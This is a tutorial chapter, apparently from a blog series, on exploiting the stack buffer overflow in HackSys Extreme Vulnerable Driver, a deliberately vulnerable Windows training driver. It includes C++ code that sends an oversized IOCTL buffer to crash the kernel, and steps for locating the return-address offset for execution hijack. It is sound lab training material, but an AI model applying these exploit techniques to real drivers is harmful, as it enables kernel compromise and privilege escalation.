[Cracking Windows Kernel with HEVD] Chapter 1: Will this driver ever crash?

Cracking HackSys Extreme Vulnerable Driver: will this driver ever crash?

Writing a BSOD crash

Last time we focused on setting up the environment. This time we will try to understand the vulnerability and make our system crash! Let’s dive in!

The vulnerable code

(...)
    	ULONG KernelBuffer[BUFFER_SIZE] = { 0 };
(...)
        // Verify if the buffer resides in user mode
        ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(UCHAR));

        DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
        DbgPrint("[+] UserBuffer Size: 0x%zX\n", Size);
        DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
        DbgPrint("[+] KernelBuffer Size: 0x%zX\n", sizeof(KernelBuffer));

(...)

        DbgPrint("[+] Triggering Buffer Overflow in Stack\n");

        // Vulnerability Note: This is a vanilla Stack based Overflow vulnerability
        // because the developer is passing the user supplied size directly to
        // RtlCopyMemory()/memcpy() without validating if the size is greater or
        // equal to the size of KernelBuffer

        RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);
(...)

The comments pretty much explain the whole code. The issue arises on RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);, as it copies Size bytes, where Size is a user-defined length, from a user buffer to a kernel buffer of size BUFFER_SIZE. BUFFER_SIZE is defined in Common.h as 512. ULONG is 4 bytes long, thus KernelBuffer size is 2048 bytes. If the user sends a buffer larger than 2048, it will overflow.

If you are new to stack overflow vulnerabilities, you might be asking yourself “but how does a stack overflow can turn into elevation of privileges or arbitrary code execution?". That is a very valid concern and I will not go in depth here, as I have already explained in a previous post. You can read about it here.

Let’s write some code

Fire up your Visual Studio and create an empty C++ project.

First thing we have to do is find a way to communicate with our device driver. Device drivers can be accessed through Input Output Control (IOCTL), in which a userland application may call for functions implemented by the driver. Each IOCTL function implemented by the driver is assigned to a numeric identificator. Moreover, HEVD implements one IOCTL function for each vulnerability. This means that we have to know which IOCTL function number to “call” and reach the stack overflow vulnerability. For that, we can check the code out:

(...)

#define HEVD_IOCTL_BUFFER_OVERFLOW_STACK                         IOCTL(0x800)
#define HEVD_IOCTL_BUFFER_OVERFLOW_STACK_GS                      IOCTL(0x801)
#define HEVD_IOCTL_ARBITRARY_WRITE                               IOCTL(0x802)
#define HEVD_IOCTL_BUFFER_OVERFLOW_NON_PAGED_POOL                IOCTL(0x803)
#define HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL            IOCTL(0x804)
#define HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL                 IOCTL(0x805)
#define HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL                IOCTL(0x806)
(...)

As we can see, the buffer overflow stack is IOCTL function number 0x800.

To use the IOCTL and call the buffer overflow stack function, we must get the handle for the device driver. Windows’ CreateFileA function, besides creating new files, opens handles for devices. Check the doc page for further information.

So first let’s write a function that gets the handle for the device:

#include <iostream>
#include <string>
#include <Windows.h>

#define DEVICE_NAME	"\\\\.\\HackSysExtremeVulnerableDriver"
#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS) // Gets the IOCTL number from the function number
#define STACK_OVERFLOW_IOCTL_NUMBER     IOCTL(0x800)

using namespace std;

HANDLE get_handle() {
	HANDLE h = CreateFileA(DEVICE_NAME,
		FILE_READ_ACCESS | FILE_WRITE_ACCESS,
		FILE_SHARE_READ | FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
		NULL);

	if (h == INVALID_HANDLE_VALUE) {
		printf("Failed to get handle =(\n");
		return NULL;
	}
	return h;
}

The get_handle() function gets the handle (duh) to the device and returns it, in case of success. It calls CreateFileA function to do that, which parameters are covered below:

  • File name - DEVICE_NAME: this is the name of the device to get the handle. The device name is \\.\HackSysExtremeVulnerableDriver, which is described in the driver source code. These weird extra \ occur to correctly and safely convert to type LPCSTR, accepted by CreateFileA() function.
  • Desired access - FILE_READ_ACCESS | FILE_WRITE_ACCESS: define which types of access we desire upon manipulating this file. It can be read, write or both, basically. Here we have chosen both.
  • Shared mode - FILE_SHARE_READ | FILE_SHARE_WRITE: allows or disallows the file to be opened by other applications. In this case, we do not care too much about this right now. However, in specific scenarios, such as race condition, we might need to get more than one handle to the device.
  • Security Attributes - NULL: this optional parameter regards to a few security attributes on the moment of opening the file. It is mostly used to allow handles to be inherited to other processes. In this case, we do not care about that.
  • Creation disposition - OPEN_EXISTING: action to take when the desired file does not exist. With OPEN_EXISTING, it will raise an error should if the file does not exist. It is usual to use this when working with device drivers.
  • Flags and attributes - FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL: as the name states, flags and attributes when opening this file. In this case, we are signaling that the file will be used for asynchronous IO.
  • Template file - NULL: ignored when opening an existing file, so NULL here.

We create and use the IOCTL macro, which utilizes CTL_CODE macro. This macro will not be explained here, but you can read the official documentation here.

Now we can do IOCTL just by calling DeviceIoControl() function. I will create a simple do_buffer_overflow() function now that will call the IOCTL sending a 0x1000 byte long buffer that will surely overflow the driver and we’ll go on from that.

void do_buffer_overflow(HANDLE h)
{
	SIZE_T in_buffer_size = 0x1000;
	PULONG in_buffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, in_buffer_size);
	memset((char *)in_buffer, 'A', in_buffer_size);
	printf("Sending buffer.\n");
	bool result = DeviceIoControl(h, STACK_OVERFLOW_IOCTL_NUMBER, in_buffer, (DWORD)in_buffer_size, NULL, 0, NULL, NULL);
	if (!result)
	{
		printf("IOCTL Failed: %X\n", GetLastError());
	}
	HeapFree(GetProcessHeap(), 0, (LPVOID)in_buffer);
}

What this does is allocate a buffer of size 0x1000 (4096) bytes, which overflows the 2048 byte-long KernelBuffer. Wrapping it up, this is our code:

#include <iostream>
#include <string>
#include <Windows.h>

#define DEVICE_NAME	"\\\\.\\HackSysExtremeVulnerableDriver"
#define IOCTL(Function) CTL_CODE(FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)
#define STACK_OVERFLOW_IOCTL_NUMBER     IOCTL(0x800)

using namespace std;


HANDLE get_handle() {
	HANDLE h = CreateFileA(DEVICE_NAME,
		FILE_READ_ACCESS | FILE_WRITE_ACCESS,
		FILE_SHARE_READ | FILE_SHARE_WRITE,
		NULL,
		OPEN_EXISTING,
		FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL,
		NULL);

	if (h == INVALID_HANDLE_VALUE) {
		printf("Failed to get handle =(\n");
		return NULL;
	}
	return h;
}

void do_buffer_overflow(HANDLE h)
{
	SIZE_T in_buffer_size = 0x1000;
	PULONG in_buffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, in_buffer_size);
	memset((char *)in_buffer, 'A', in_buffer_size);
	printf("Sending buffer.\n");
	bool result = DeviceIoControl(h, STACK_OVERFLOW_IOCTL_NUMBER, in_buffer, (DWORD)in_buffer_size, NULL, 0, NULL, NULL);
	if (!result)
	{
		printf("IOCTL Failed: %X\n", GetLastError());
	}
	HeapFree(GetProcessHeap(), 0, (LPVOID)in_buffer);
}

int main()
{
	do_buffer_overflow(get_handle());
	system("pause");
}

Now let’s put a breakpoint in HEVD function TriggerBufferOverflowStack() and run the exploit. Follow the steps below:

  • Pause the execution on WinDbg.
  • On the Command window, find the function by typing x HEVD!TriggerBufferOverflowStack. Click on the function.
  • Click the link to the source code. The disassembly of the function will open in the Disassembly window.
  • Navigate your way to the end of the function and put a breakpoint in the RET instruction. (Click the instruction and press F9 to insert a breakpoint)
  • Resume execution (F5)
  • Run the exploit

The breakpoint hits! Aw yeah!

I use the Memory window to check the stack out by puting @rsp in the “Virtual” and everything is ‘A’.

If we continue, the machine crashes. Mission acomplished. Next step: overwrite the return address.

Execution flow hijack

We have already overwritten the return address to AAAAAAAA. Cool, but 0x4141414141414141 does not mean any valid address we can execute. We need to find out where exactly in our buffer the return address gets overwritten and replace it with a valid executable address. To which valid executable address we will redirect the execution will come up later on. What we need now is an offset.

There are two ways to determine the offset for the return address. One way is to analyze the assembly code with WinDBG. The other is to use pattern.

Offset discovery with WinDBG

This method is pretty straightforward. If we look at the assembly code of the epilogue of the hevd!TriggerBufferOverflowStack function on WinDBG, we get this:

As we can see, it pops 3 64-bit (8 bytes) registers before it calls RET. If we peek at the HEVD source code, we find out the buffer has 2048 bytes. 2048 + 3*8 = 2072 and that is our buffer size.

This method requires some extra manual evaluation and the visual inspection may be prone to human error, so there is a more assertive way shown next.

Offset discovery with pattern

This approach is usually error free. First we use pattern to create a pattern (duh) that will go in the buffer.

pattern.py create 2100 will generate a 2100 byte long pattern to our buffer. It should look like this:

These weird characters will be used to find out the offset. We will send this pattern in our buffer and use the same tool to find out which offset of the pattern reached to the instruction pointer.

The code gets like this:

void do_buffer_overflow(HANDLE h)
{
	SIZE_T in_buffer_size = 2100;
	PULONG in_buffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, in_buffer_size);
	in_buffer = (PULONG) "<GENERATED_PATTERN_HERE>"
	
	printf("Sending buffer.\n");
	bool result = DeviceIoControl(h, STACK_OVERFLOW_IOCTL_NUMBER, in_buffer, (DWORD)in_buffer_size, NULL, 0, NULL, NULL);
	if (!result)
	{
		printf("IOCTL Failed: %X\n", GetLastError());
	}
	HeapFree(GetProcessHeap(), 0, (LPVOID)in_buffer);
}

Now set up a breakpoint in hevd!TriggerBufferOverflowStack's ret instruction and let us see the results.

As soon as the breakpoint hits, which is just before the ret instruction executes, we peek at the memory (make sure to set up display format as ASCII) and check the top of the stack out:

In my case, I have 0Cr1 at the top of my stack. So I’ll run pattern: pattern.py offset 0Cr1 2100, where 0Cr1 is the pattern for which I want the offset and 2100 is the size of the generated buffer. And the result is 2072:

That way, we must put the return address in the position 2072 of our payload. This will redirect the execution flow to whatever address we put in this position. But this raises the next question: where do we redirect the execution flow to? Unfortunately, this question will be answered on the next part! See you then!